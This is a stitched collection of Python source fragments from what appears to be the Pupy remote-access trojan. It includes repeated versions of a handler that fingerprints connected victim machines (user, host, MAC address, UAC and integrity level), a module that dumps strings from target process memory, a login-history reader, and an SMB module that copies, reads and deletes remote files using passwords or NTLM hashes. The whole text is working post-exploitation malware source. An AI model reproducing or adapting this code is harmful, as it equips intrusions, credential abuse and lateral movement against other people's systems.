ctypes.windll.advapi32.OpenProcessToken( proc_handle, TOKEN_READ, ctypes.byref(token)): logging.error('Failed to get process token') return None if token.value == 0: logging.error('Got a NULL token') return None try: info_size = DWORD() if ctypes.windll.advapi32.GetTokenInformation( token, TokenIntegrityLevel, ctypes.c_void_p(), info_size, ctypes.byref(info_size)): logging.error('GetTokenInformation() failed expectation') return None if info_size.value == 0: logging.error('GetTokenInformation() returned size 0') return None if ctypes.windll.kernel32.GetLastError() != ERROR_INSUFFICIENT_BUFFER: logging.error( 'GetTokenInformation(): Unknown error: %d', ctypes.windll.kernel32.GetLastError()) return None token_info = TOKEN_MANDATORY_LABEL() ctypes.resize(token_info, info_size.value) if not ctypes.windll.advapi32.GetTokenInformation( token, TokenIntegrityLevel, ctypes.byref(token_info), info_size, ctypes.byref(info_size)): logging.error( 'GetTokenInformation(): Unknown error with buffer size %d: %d', info_size.value, ctypes.windll.kernel32.GetLastError()) return None p_sid_size = ctypes.windll.advapi32.GetSidSubAuthorityCount( token_info.Label.Sid) res = ctypes.windll.advapi32.GetSidSubAuthority( token_info.Label.Sid, p_sid_size.contents.value - 1) value = res.contents.value return mapping.get(value) or u'0x%04x' % value finally: ctypes.windll.kernel32.CloseHandle(token) def getUACLevel(): if sys.platform != 'win32': return 'N/A' i, consentPromptBehaviorAdmin, enableLUA, promptOnSecureDesktop = 0, None, None, None try: Registry = ConnectRegistry(None, HKEY_LOCAL_MACHINE) RawKey = OpenKey(Registry, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System") except: return "?" while True: try: name, value, type = EnumValue(RawKey, i) if name == "ConsentPromptBehaviorAdmin": consentPromptBehaviorAdmin = value elif name == "EnableLUA": enableLUA = value elif name == "PromptOnSecureDesktop": promptOnSecureDesktop = value i+=1 except WindowsError: break if consentPromptBehaviorAdmin == 2 and enableLUA == 1 and promptOnSecureDesktop == 1: return "3/3" elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and promptOnSecureDesktop == 1: return "2/3" elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and promptOnSecureDesktop == 0: return "1/3" elif enableLUA == 0: return "0/3" else: return "?" def GetUserName(): from ctypes import windll, WinError, create_string_buffer, byref, c_uint32, GetLastError DWORD = c_uint32 nSize = DWORD(0) windll.advapi32.GetUserNameA(None, byref(nSize)) error = GetLastError() ERROR_INSUFFICIENT_BUFFER = 122 if error != ERROR_INSUFFICIENT_BUFFER: raise WinError(error) lpBuffer = create_string_buffer('', nSize.value + 1) success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize)) if not success: raise WinError() return lpBuffer.value def get_uuid(): user=None node=None plat=None release=None version=None machine=None macaddr=None pid=None proc_arch=None proc_path=sys.executable uacLevel = None integrity_level_win = None try: if sys.platform=="win32": user=GetUserName().decode(encoding=os_encoding).encode("utf8") else: user=getpass.getuser().decode(encoding=os_encoding).encode("utf8") except Exception as e: user=str(e) pass try: node=platform.node().decode(encoding=os_encoding).encode("utf8") except Exception: pass try: version=platform.platform() except Exception: pass try: plat=platform.system() except Exception: pass try: from kivy.utils import platform as kivy_plat#support for android plat=bytes(kivy_plat) except ImportError: pass try: release=platform.release() except Exception: pass try: version=platform.version() except Exception: pass try: machine=platform.machine() except Exception: pass try: pid=os.getpid() except Exception: pass try: proc_arch=platform.architecture()[0] except Exception: pass try: macaddr=uuid.getnode() macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2)) except Exception: pass try: uacLevel = getUACLevel() except Exception as e: uacLevel = "?" try: integrity_level_win = get_integrity_level_win() except Exception as e: integrity_level_win = "?" return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path, uacLevel, integrity_level_win) """)) l=conn.namespace["get_uuid"]() with self.clients_lock: pc=PupyClient.PupyClient({ "id": self.current_id, "conn" : conn, "user" : l[0], "hostname" : l[1], "platform" : l[2], "release" : l[3], "version" : l[4], "os_arch" : l[5], "proc_arch" : l[8], "exec_path" : l[9], "macaddr" : l[6], "pid" : l[7], "uac_lvl" : l[10], "intgty_lvl" : l[11], "address" : conn._conn._config['connid'].rsplit(':',1)[0], "launcher" : conn.get_infos("launcher"), "launcher_args" : obtain(conn.get_infos("launcher_args")), "transport" : obtain(conn.get_infos("transport")), "daemonize" : (True if obtain(conn.get_infos("daemonize")) else False), }, self) self.clients.append(pc) if self.handler: addr = conn.modules['pupy'].get_connect_back_host() server_ip, server_port = addr.rsplit(':', 1) try: client_ip, client_port = conn._conn._config['connid'].split(':') except: client_ip, client_port = "0.0.0.0", 0 # TODO for bind payloads self.handler.display_srvinfo("Session {} opened ({}:{} <- {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port)) self.current_id += 1 if pc: on_connect(pc)
def add_client(self, conn): pc=None conn.execute(textwrap.dedent( """ import platform import getpass import uuid import sys import os import locale os_encoding = locale.getpreferredencoding() or "utf8" if sys.platform == 'win32': from _winreg import * import ctypes def get_integrity_level_win(): '''from http://www.programcreek.com/python/example/3211/ctypes.c_long''' if sys.platform != 'win32': return "N/A" mapping = { 0x0000: u'Untrusted', 0x1000: u'Low', 0x2000: u'Medium', 0x2100: u'Medium high', 0x3000: u'High', 0x4000: u'System', 0x5000: u'Protected process', } BOOL = ctypes.c_long DWORD = ctypes.c_ulong HANDLE = ctypes.c_void_p class SID_AND_ATTRIBUTES(ctypes.Structure): _fields_ = [ ('Sid', ctypes.c_void_p), ('Attributes', DWORD), ] class TOKEN_MANDATORY_LABEL(ctypes.Structure): _fields_ = [ ('Label', SID_AND_ATTRIBUTES), ] TOKEN_READ = DWORD(0x20008) TokenIntegrityLevel = ctypes.c_int(25) ERROR_INSUFFICIENT_BUFFER = 122 ctypes.windll.kernel32.GetLastError.argtypes = () ctypes.windll.kernel32.GetLastError.restype = DWORD ctypes.windll.kernel32.GetCurrentProcess.argtypes = () ctypes.windll.kernel32.GetCurrentProcess.restype = ctypes.c_void_p ctypes.windll.advapi32.OpenProcessToken.argtypes = ( HANDLE, DWORD, ctypes.POINTER(HANDLE)) ctypes.windll.advapi32.OpenProcessToken.restype = BOOL ctypes.windll.advapi32.GetTokenInformation.argtypes = ( HANDLE, ctypes.c_long, ctypes.c_void_p, DWORD, ctypes.POINTER(DWORD)) ctypes.windll.advapi32.GetTokenInformation.restype = BOOL ctypes.windll.advapi32.GetSidSubAuthorityCount.argtypes = [ctypes.c_void_p] ctypes.windll.advapi32.GetSidSubAuthorityCount.restype = ctypes.POINTER( ctypes.c_ubyte) ctypes.windll.advapi32.GetSidSubAuthority.argtypes = (ctypes.c_void_p, DWORD) ctypes.windll.advapi32.GetSidSubAuthority.restype = ctypes.POINTER(DWORD) token = ctypes.c_void_p() proc_handle = ctypes.windll.kernel32.GetCurrentProcess() if not ctypes.windll.advapi32.OpenProcessToken( proc_handle, TOKEN_READ, ctypes.byref(token)): logging.error('Failed to get process token') return None if token.value == 0: logging.error('Got a NULL token') return None try: info_size = DWORD() if ctypes.windll.advapi32.GetTokenInformation( token, TokenIntegrityLevel, ctypes.c_void_p(), info_size, ctypes.byref(info_size)): logging.error('GetTokenInformation() failed expectation') return None if info_size.value == 0: logging.error('GetTokenInformation() returned size 0') return None if ctypes.windll.kernel32.GetLastError() != ERROR_INSUFFICIENT_BUFFER: logging.error( 'GetTokenInformation(): Unknown error: %d', ctypes.windll.kernel32.GetLastError()) return None token_info = TOKEN_MANDATORY_LABEL() ctypes.resize(token_info, info_size.value) if not ctypes.windll.advapi32.GetTokenInformation( token, TokenIntegrityLevel, ctypes.byref(token_info), info_size, ctypes.byref(info_size)): logging.error( 'GetTokenInformation(): Unknown error with buffer size %d: %d', info_size.value, ctypes.windll.kernel32.GetLastError()) return None p_sid_size = ctypes.windll.advapi32.GetSidSubAuthorityCount( token_info.Label.Sid) res = ctypes.windll.advapi32.GetSidSubAuthority( token_info.Label.Sid, p_sid_size.contents.value - 1) value = res.contents.value return mapping.get(value) or u'0x%04x' % value finally: ctypes.windll.kernel32.CloseHandle(token) def getUACLevel(): if sys.platform != 'win32': return 'N/A' i, consentPromptBehaviorAdmin, enableLUA, promptOnSecureDesktop = 0, None, None, None try: Registry = ConnectRegistry(None, HKEY_LOCAL_MACHINE) RawKey = OpenKey(Registry, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System") except: return "?" while True: try: name, value, type = EnumValue(RawKey, i) if name == "ConsentPromptBehaviorAdmin": consentPromptBehaviorAdmin = value elif name == "EnableLUA": enableLUA = value elif name == "PromptOnSecureDesktop": promptOnSecureDesktop = value i+=1 except WindowsError: break if consentPromptBehaviorAdmin == 2 and enableLUA == 1 and promptOnSecureDesktop == 1: return "3/3" elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and promptOnSecureDesktop == 1: return "2/3" elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and promptOnSecureDesktop == 0: return "1/3" elif enableLUA == 0: return "0/3" else: return "?" def GetUserName(): from ctypes import windll, WinError, create_string_buffer, byref, c_uint32, GetLastError DWORD = c_uint32 nSize = DWORD(0) windll.advapi32.GetUserNameA(None, byref(nSize)) error = GetLastError() ERROR_INSUFFICIENT_BUFFER = 122 if error != ERROR_INSUFFICIENT_BUFFER: raise WinError(error) lpBuffer = create_string_buffer('', nSize.value + 1) success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize)) if not success: raise WinError() return lpBuffer.value def get_uuid(): user=None node=None plat=None release=None version=None machine=None macaddr=None pid=None proc_arch=None proc_path=sys.executable uacLevel = None integrity_level_win = None try: if sys.platform=="win32": user=GetUserName().decode(encoding=os_encoding).encode("utf8") else: user=getpass.getuser().decode(encoding=os_encoding).encode("utf8") except Exception as e: user=str(e) pass try: node=platform.node().decode(encoding=os_encoding).encode("utf8") except Exception: pass try: version=platform.platform() except Exception: pass try: plat=platform.system() except Exception: pass try: from kivy.utils import platform as kivy_plat#support for android plat=bytes(kivy_plat) except ImportError: pass try: release=platform.release() except Exception: pass try: version=platform.version() except Exception: pass try: machine=platform.machine() except Exception: pass try: pid=os.getpid() except Exception: pass try: proc_arch=platform.architecture()[0] except Exception: pass try: macaddr=uuid.getnode() macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2)) except Exception: pass try: uacLevel = getUACLevel() except Exception as e: uacLevel = "?" try: integrity_level_win = get_integrity_level_win() except Exception as e: integrity_level_win = "?" return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path, uacLevel, integrity_level_win) """)) l=conn.namespace["get_uuid"]() with self.clients_lock: pc=PupyClient.PupyClient({ "id": self.current_id, "conn" : conn, "user" : l[0], "hostname" : l[1], "platform" : l[2], "release" : l[3], "version" : l[4], "os_arch" : l[5], "proc_arch" : l[8], "exec_path" : l[9], "macaddr" : l[6], "pid" : l[7], "uac_lvl" : l[10], "intgty_lvl" : l[11], "address" : conn._conn._config['connid'].rsplit(':',1)[0], "launcher" : conn.get_infos("launcher"), "launcher_args" : obtain(conn.get_infos("launcher_args")), "transport" : obtain(conn.get_infos("transport")), "daemonize" : (True if obtain(conn.get_infos("daemonize")) else False), }, self) self.clients.append(pc) if self.handler: addr = conn.modules['pupy'].get_connect_back_host() server_ip, server_port = addr.rsplit(':', 1) try: client_ip, client_port = conn._conn._config['connid'].rsplit(':', 1) except: client_ip, client_port = "0.0.0.0", 0 # TODO for bind payloads self.handler.display_srvinfo("Session {} opened ({}:{} <- {}:{})".format( self.current_id, server_ip, server_port, client_ip, client_port)) self.current_id += 1 if pc: on_connect(pc)
def add_client(self, conn): with self.clients_lock: conn.execute( textwrap.dedent(""" import platform import getpass import uuid import sys import os import locale os_encoding = locale.getpreferredencoding() or "utf8" def get_uuid(): user=None node=None plat=None release=None version=None machine=None macaddr=None pid=None proc_arch=None proc_path=sys.executable try: user=getpass.getuser().decode(encoding=os_encoding).encode("utf8") except Exception: pass try: node=platform.node().decode(encoding=os_encoding).encode("utf8") except Exception: pass try: version=platform.platform() except Exception: pass try: plat=platform.system() except Exception: pass try: from kivy.utils import platform as kivy_plat#support for android plat=bytes(kivy_plat) except ImportError: pass try: release=platform.release() except Exception: pass try: version=platform.version() except Exception: pass try: machine=platform.machine() except Exception: pass try: pid=os.getpid() except Exception: pass try: proc_arch=platform.architecture()[0] except Exception: pass try: macaddr=uuid.getnode() macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2)) except Exception: pass return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path) """)) l = conn.namespace["get_uuid"]() self.clients.append( PupyClient.PupyClient( { "id": self.current_id, "conn": conn, "user": l[0], "hostname": l[1], "platform": l[2], "release": l[3], "version": l[4], "os_arch": l[5], "proc_arch": l[8], "exec_path": l[9], "macaddr": l[6], "pid": l[7], "address": conn._conn._config['connid'].split(':')[0], "launcher": conn.get_infos("launcher"), "launcher_args": obtain( conn.get_infos("launcher_args")), }, self)) if self.handler: addr = conn.modules['pupy'].get_connect_back_host() server_ip, server_port = addr.rsplit(':', 1) client_ip, client_port = conn._conn._config['connid'].split( ':') self.handler.display_srvinfo( "Session {} opened ({}:{} <- {}:{})".format( self.current_id, server_ip, server_port, client_ip, client_port)) self.current_id += 1
def add_client(self, conn): with self.clients_lock: conn.execute( textwrap.dedent( """ import platform import getpass import uuid import sys import os import locale os_encoding = locale.getpreferredencoding() or "utf8" def get_uuid(): user=None node=None plat=None release=None version=None machine=None macaddr=None pid=None proc_arch=None proc_path=sys.executable try: user=getpass.getuser().decode(encoding=os_encoding).encode("utf8") except Exception: pass try: node=platform.node().decode(encoding=os_encoding).encode("utf8") except Exception: pass try: version=platform.platform() except Exception: pass try: plat=platform.system() except Exception: pass try: release=platform.release() except Exception: pass try: version=platform.version() except Exception: pass try: machine=platform.machine() except Exception: pass try: pid=os.getpid() except Exception: pass try: proc_arch=platform.architecture()[0] except Exception: pass try: macaddr=uuid.getnode() macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2)) except Exception: pass return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path) """ ) ) l = conn.namespace["get_uuid"]() self.clients.append( PupyClient.PupyClient( { "id": self.current_id, "conn": conn, "user": l[0], "hostname": l[1], "platform": l[2], "release": l[3], "version": l[4], "os_arch": l[5], "proc_arch": l[8], "exec_path": l[9], "macaddr": l[6], "pid": l[7], "address": conn._conn._config["connid"].split(":")[0], "launcher": conn.get_infos("launcher"), "launcher_args": obtain(conn.get_infos("launcher_args")), }, self, ) ) if self.handler: addr = conn.modules["pupy"].get_connect_back_host() server_ip, server_port = addr.rsplit(":", 1) client_ip, client_port = conn._conn._config["connid"].split(":") self.handler.display_srvinfo( "Session {} opened ({}:{} <- {}:{})".format( self.current_id, server_ip, server_port, client_ip, client_port ) ) self.current_id += 1
def add_client(self, conn): pc = None conn.execute( textwrap.dedent(""" import platform import getpass import uuid import sys import os import locale os_encoding = locale.getpreferredencoding() or "utf8" def GetUserName(): from ctypes import windll, WinError, create_string_buffer, byref, c_uint32, GetLastError DWORD = c_uint32 nSize = DWORD(0) windll.advapi32.GetUserNameA(None, byref(nSize)) error = GetLastError() ERROR_INSUFFICIENT_BUFFER = 122 if error != ERROR_INSUFFICIENT_BUFFER: raise WinError(error) lpBuffer = create_string_buffer('', nSize.value + 1) success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize)) if not success: raise WinError() return lpBuffer.value def get_uuid(): user=None node=None plat=None release=None version=None machine=None macaddr=None pid=None proc_arch=None proc_path=sys.executable try: user=getpass.getuser().decode(encoding=os_encoding).encode("utf8") if sys.platform=="win32": user=GetUserName().decode(encoding=os_encoding).encode("utf8") except Exception as e: user=str(e) pass try: node=platform.node().decode(encoding=os_encoding).encode("utf8") except Exception: pass try: version=platform.platform() except Exception: pass try: plat=platform.system() except Exception: pass try: from kivy.utils import platform as kivy_plat#support for android plat=bytes(kivy_plat) except ImportError: pass try: release=platform.release() except Exception: pass try: version=platform.version() except Exception: pass try: machine=platform.machine() except Exception: pass try: pid=os.getpid() except Exception: pass try: proc_arch=platform.architecture()[0] except Exception: pass try: macaddr=uuid.getnode() macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2)) except Exception: pass return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path) """)) l = conn.namespace["get_uuid"]() with self.clients_lock: pc = PupyClient.PupyClient( { "id": self.current_id, "conn": conn, "user": l[0], "hostname": l[1], "platform": l[2], "release": l[3], "version": l[4], "os_arch": l[5], "proc_arch": l[8], "exec_path": l[9], "macaddr": l[6], "pid": l[7], "address": conn._conn._config['connid'].rsplit(':', 1)[0], "launcher": conn.get_infos("launcher"), "launcher_args": obtain(conn.get_infos("launcher_args")), "transport": obtain(conn.get_infos("transport")), }, self) self.clients.append(pc) if self.handler: addr = conn.modules['pupy'].get_connect_back_host() server_ip, server_port = addr.rsplit(':', 1) try: client_ip, client_port = conn._conn._config[ 'connid'].split(':') except: client_ip, client_port = "0.0.0.0", 0 # TODO for bind payloads self.handler.display_srvinfo( "Session {} opened ({}:{} <- {}:{})".format( self.current_id, server_ip, server_port, client_ip, client_port)) self.current_id += 1 if pc: on_connect(pc)
def run(self, args): targets = args.pid + args.name REvent = self.client.remote('threading', 'Event', False) iterate_strings = self.client.remote('memstrings', 'iterate_strings', False) self.termevent = REvent() last_pid = None last_log = None config = self.client.pupsrv.config for pid, name, strings in iterate_strings( targets, args.regex, min_length=args.min_length, max_length=args.max_length, omit=args.omit, portions=args.portions, terminate=self.termevent, nodup=args.no_duplication, ): strings = obtain(strings) pid = str(pid) or '0' name = str(name) or '' if not strings: self.error('No dumps received') return if args.stdout: self.success('Strings {}:{}'.format(name, pid)) for s in strings: self.log(s) else: if last_pid != pid: last_pid = pid if last_log: last_log.close() try: folder = config.get_folder( 'memstrings', {'%c': self.client.short_name()}) path = name.replace('!', '!!').replace('/', '!').replace( '\\', '!') path = os.path.join(folder, '{}.{}.strings'.format(path, pid)) last_log = open(path, 'w+') self.success('{} {} -> {}'.format(name, pid, path)) except Exception as e: self.error('{} {}: {}'.format(name, pid, e)) for s in strings: last_log.write(s + '\n') last_log.flush() if last_log: last_log.close()
def run(self, args): try: data = obtain(self.client.conn.modules.pupyps.wtmp()) tablein = [] now = data['now'] output = [] for record in data['records']: if args.days and ( record['start'] + args.days*24*60*60 < now): break if args.exclude and any([x in args.exclude for x in record.itervalues()]): continue if args.include and not any([x in args.include for x in record.itervalues()]): continue if record['type'] not in ('boot', 'process'): continue color = '' if record['end'] == -1: if record['user'] == 'root': color = 'lightred' elif record['duration'] < 60*60: color = 'lightgreen' elif record['duration'] > 7*24*60*60: color = 'cyan' elif record['user'] == 'root': color = 'yellow' elif record['ip'] != '0.0.0.0': color = 'cyan' elif record['end'] > 24*60*60: color = 'grey' elif record['end'] > 7*24*60*60: color = 'darkgrey' if record['type'] == 'boot': color = 'yellow' record['start'] = datetime.fromtimestamp(record['start']) record['end'] = datetime.fromtimestamp( record['end'] ) if record['end'] != -1 else 'logged in' record['duration'] = timedelta(seconds=int(record['duration'])) record['ip'] = '' if record['ip'] == '0.0.0.0' else record['ip'] if record['type'] == 'boot' and record['end'] == 'logged in': record['end'] = 'up' for f in record: record[f] = colorize('{}'.format(record[f]), color) output.append(record) if args.lines and len(output) >= args.lines: break columns = [ x for x in [ 'user', 'line', 'pid' ,'host', 'ip', 'start', 'end', 'duration' ] if any([ bool(y[x]) for y in output ]) ] self.stdout.write( PupyCmd.table_format(output, wl=columns) ) except Exception, e: logging.exception(e)
def add_client(self, conn): pc=None conn.execute(textwrap.dedent( """ import platform import getpass import uuid import sys import os import locale os_encoding = locale.getpreferredencoding() or "utf8" def GetUserName(): from ctypes import windll, WinError, create_string_buffer, byref, c_uint32, GetLastError DWORD = c_uint32 nSize = DWORD(0) windll.advapi32.GetUserNameA(None, byref(nSize)) error = GetLastError() ERROR_INSUFFICIENT_BUFFER = 122 if error != ERROR_INSUFFICIENT_BUFFER: raise WinError(error) lpBuffer = create_string_buffer('', nSize.value + 1) success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize)) if not success: raise WinError() return lpBuffer.value def get_uuid(): user=None node=None plat=None release=None version=None machine=None macaddr=None pid=None proc_arch=None proc_path=sys.executable try: user=getpass.getuser().decode(encoding=os_encoding).encode("utf8") if sys.platform=="win32": user=GetUserName().decode(encoding=os_encoding).encode("utf8") except Exception as e: user=str(e) pass try: node=platform.node().decode(encoding=os_encoding).encode("utf8") except Exception: pass try: version=platform.platform() except Exception: pass try: plat=platform.system() except Exception: pass try: from kivy.utils import platform as kivy_plat#support for android plat=bytes(kivy_plat) except ImportError: pass try: release=platform.release() except Exception: pass try: version=platform.version() except Exception: pass try: machine=platform.machine() except Exception: pass try: pid=os.getpid() except Exception: pass try: proc_arch=platform.architecture()[0] except Exception: pass try: macaddr=uuid.getnode() macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2)) except Exception: pass return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path) """)) l=conn.namespace["get_uuid"]() with self.clients_lock: pc=PupyClient.PupyClient({ "id": self.current_id, "conn" : conn, "user" : l[0], "hostname" : l[1], "platform" : l[2], "release" : l[3], "version" : l[4], "os_arch" : l[5], "proc_arch" : l[8], "exec_path" : l[9], "macaddr" : l[6], "pid" : l[7], "address" : conn._conn._config['connid'].split(':')[0], "launcher" : conn.get_infos("launcher"), "launcher_args" : obtain(conn.get_infos("launcher_args")), }, self) self.clients.append(pc) if self.handler: addr = conn.modules['pupy'].get_connect_back_host() server_ip, server_port = addr.rsplit(':', 1) try: client_ip, client_port = conn._conn._config['connid'].split(':') except: client_ip, client_port = "0.0.0.0", 0 # TODO for bind payloads self.handler.display_srvinfo("Session {} opened ({}:{} <- {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port)) self.current_id += 1 if pc: on_connect(pc)
def print_psinfo(fout, pupyps, data, colinfo, width=80, sections=[]): families = { int(k):v for k,v in obtain(pupyps.families).iteritems() } socktypes = { int(k):v for k,v in obtain(pupyps.socktypes).iteritems() } keys = ('id', 'key', 'PROPERTY', 'VAR') sorter = lambda x,y: -1 if ( x in keys and y not in keys ) else ( 1 if (y in keys and not x in keys) else cmp(x, y)) for pid, info in data.iteritems(): if sections is not None: fout.write('\n --- PID: {} ---- \n\n'.format(pid)) infosecs = { 'general': [] } for prop, value in info.iteritems(): if type(value) not in (list, dict): infosecs['general'].append({ 'PROPERTY': prop, 'VALUE': '{:3}%'.format(int(value)) if ('_percent' in prop) else value }) else: if prop == 'environ': maxvar = max(len(x) for x in value.iterkeys()) maxval = max(len(x) for x in value.itervalues()) trunkval = ( width - maxvar - 4 ) if width else None infosecs[prop] = [{ 'VAR':x, 'VALUE':y[:trunkval] } for x,y in value.iteritems()] continue elif prop == 'connections': newvalue = [] for connection in value: newvalue.append({ 'status': connection['status'], 'raddr': ':'.join([str(x) for x in connection['raddr']]), 'laddr': ':'.join([str(x) for x in connection['laddr']]), 'family': families[connection['family']], 'type': socktypes[connection['type']], }) infosecs[prop] = newvalue continue elif prop == 'memory_maps': filtered = ('path', 'rss', 'size') else: filtered = None infosecs[prop] = [{ k:v for k,v in item.iteritems() if filtered is None or k in filtered } for item in (value if type(value) == list else [value])] if sections: for section in sections: section = section.lower() if section in infosecs: labels = sorted(infosecs[section][0], cmp=sorter) fout.write('{ '+section.upper()+' }\n') fout.write(PupyCmd.table_format(infosecs[section], wl=labels)+'\n') else: for section, table in infosecs.iteritems(): labels = sorted(table[0], cmp=sorter) fout.write('{ '+section.upper()+' }\n') fout.write(PupyCmd.table_format(table, wl=labels)+'\n') fout.write(' --- PID: {} - END --- \n'.format(pid)) else: outcols = [ 'pid' ] + [ x for x in ( 'cpu_percent', 'memory_percent', 'username', 'exe', 'name', 'cmdline' ) if x in colinfo ] info['pid'] = pid columns = gen_columns(info, colinfo) fout.write(gen_output_line(columns, outcols, info, width)+'\n')
def run(self, args): try: data = obtain(self.client.conn.modules.pupyps.wtmp()) tablein = [] now = data['now'] output = [] for record in data['records']: if args.days and (record['start'] + args.days * 24 * 60 * 60 < now): break if args.exclude and any( [x in args.exclude for x in record.itervalues()]): continue if args.include and not any( [x in args.include for x in record.itervalues()]): continue if record['type'] not in ('boot', 'process'): continue color = '' if record['end'] == -1: if record['user'] == 'root': color = 'lightred' elif record['duration'] < 60 * 60: color = 'lightgreen' elif record['duration'] > 7 * 24 * 60 * 60: color = 'cyan' elif record['user'] == 'root': color = 'yellow' elif record['ip'] != '0.0.0.0': color = 'cyan' elif record['end'] > 24 * 60 * 60: color = 'grey' elif record['end'] > 7 * 24 * 60 * 60: color = 'darkgrey' if record['type'] == 'boot': color = 'yellow' record['start'] = datetime.fromtimestamp(record['start']) record['end'] = datetime.fromtimestamp( record['end']) if record['end'] != -1 else 'logged in' record['duration'] = timedelta(seconds=int(record['duration'])) record[ 'ip'] = '' if record['ip'] == '0.0.0.0' else record['ip'] if record['type'] == 'boot' and record['end'] == 'logged in': record['end'] = 'up' for f in record: record[f] = colorize('{}'.format(record[f]), color) output.append(record) if args.lines and len(output) >= args.lines: break columns = [ x for x in [ 'user', 'line', 'pid', 'host', 'ip', 'start', 'end', 'duration' ] if any([bool(y[x]) for y in output]) ] self.stdout.write(PupyCmd.table_format(output, wl=columns)) except Exception, e: logging.exception(e)
class SMB(PupyModule): ''' Copy files via SMB protocol ''' max_clients = 1 dependencies = [ 'unicodedata', 'idna', 'encodings.idna', 'impacket', 'pupyutils.psexec' ] @classmethod def init_argparse(cls): cls.arg_parser = PupyArgumentParser(prog='smb', description=cls.__doc__) cls.arg_parser.add_argument('-u', '--username', default='', help='Username') cls.arg_parser.add_argument('-P', '--port', default=445, type=int, help='Port') cls.arg_parser.add_argument('-p', '--password', default='', help='Password') cls.arg_parser.add_argument('-d', '--domain', default='', help='Domain') cls.arg_parser.add_argument('-H', '--hash', default='', help='NTLM hash') cls.arg_parser.add_argument('-T', '--timeout', default=30, type=int, help='Timeout') cls.arg_parser.add_argument('-c', '--codepage', default=None, help='Codepage') commands = cls.arg_parser.add_subparsers(dest="command") cache = commands.add_parser('cache') cache.add_argument('command', choices=('get', 'enable', 'disable', 'clear')) cache.set_defaults(func=cls.cache) cp = commands.add_parser('cp') cp.add_argument('src', help='Source') cp.add_argument('dst', help='Destination') cp.set_defaults(func=cls.cp) ls = commands.add_parser('ls') ls.add_argument('dst', help='Destination') ls.set_defaults(func=cls.ls) cat = commands.add_parser('cat') cat.add_argument('remote', help='Remote file (be careful!)') cat.set_defaults(func=cls.cat) rm = commands.add_parser('rm') rm.add_argument('dst', help='Destination') rm.set_defaults(func=cls.rm) mkdir = commands.add_parser('mkdir') mkdir.add_argument('dst', help='Destination') mkdir.set_defaults(func=cls.mkdir) rmdir = commands.add_parser('rmdir') rmdir.add_argument('dst', help='Destination') rmdir.set_defaults(func=cls.rmdir) shares = commands.add_parser('shares') shares.add_argument('host', help='Host') shares.set_defaults(func=cls.shares) def run(self, args): args.func(self, args) # try: # args.func(self, args) # except SMBError, e: # self.error(str(e)) def cache(self, args): if args.command in ('enable', 'disable'): set_use_cache = self.client.remote( 'pupyutils.psexec', 'set_use_cache', False) set_use_cache(args.command == 'enable') elif args.command == 'get': get_cache = self.client.remote( 'pupyutils.psexec', 'get_cache', False) try: cache = get_cache() self.log(Table([{ 'Host': host, 'User': user or '', 'Domain': domain or '' } for host, user, _, domain, _, _, _, _ in cache], [ 'Host', 'User', 'Domain' ])) except Exception as e: self.error(e) elif args.command == 'clear': clear_session_caches = self.client.remote( 'pupyutils.psexec', 'clear_session_caches', False) clear_session_caches() def get_ft(self, args, host): create_filetransfer = self.client.remote( 'pupyutils.psexec', 'create_filetransfer', False) connection = None error = None connection, error = create_filetransfer( host, args.port, args.username, args.domain, args.password, args.hash, timeout=args.timeout ) if error: raise SMBError(error) return connection def shares(self, args): host = args.host host = host.replace('\\', '//') if host.startswith('//'): host = host[2:] ft = self.get_ft(args, host) if not ft.ok: self.error(ft.error) return for share in obtain(ft.shares()): self.log(share) if not ft.ok: self.error(ft.error) def parse_netloc(self, line, partial=False, codepage=None): line = line.replace('\\', '/') if not line.startswith('//'): raise ValueError('Invalid network format') if not type(line) == unicode: line = line.decode('utf-8') if codepage: line = line.encode(codepage, errors='replace') remote = line[2:].split('/') if partial: if len(remote) == 0: raise ValueError('Empty network specification') if not (remote[0]): raise ValueError('Host is empty') host = remote[0] if len(remote) > 1: share = remote[1] else: share = '' if len(remote) > 2: path = ntpath.normpath('\\'.join(remote[2:])) if remote[-1] == '': path += '\\' else: path = '' return host, share, path else: if len(remote) < 3 or not all(remote[:2]): raise ValueError('Invalid network format') return remote[0], remote[1], ntpath.normpath('\\'.join(remote[2:])) def ls(self, args): try: host, share, path = self.parse_netloc(args.dst, partial=True, codepage=args.codepage) except Exception, e: self.error(e) return if not share: args.host = host self.shares(args) return if not path or path == '.' or path.endswith('\\'): path += '*' ft = self.get_ft(args, host) if not ft.ok: self.error(ft.error) return for name, directory, size, ctime in obtain(ft.ls(share, path)): if type(name) != unicode: if args.codepage: name = name.decode(args.codepage, errors='replace') else: name = name.decode('utf-8', errors='replace') self.log(u'%crw-rw-rw- %10d %s %s' % ( 'd' if directory > 0 else '-', size, ctime, name)) if not ft.ok: self.error(ft.error)
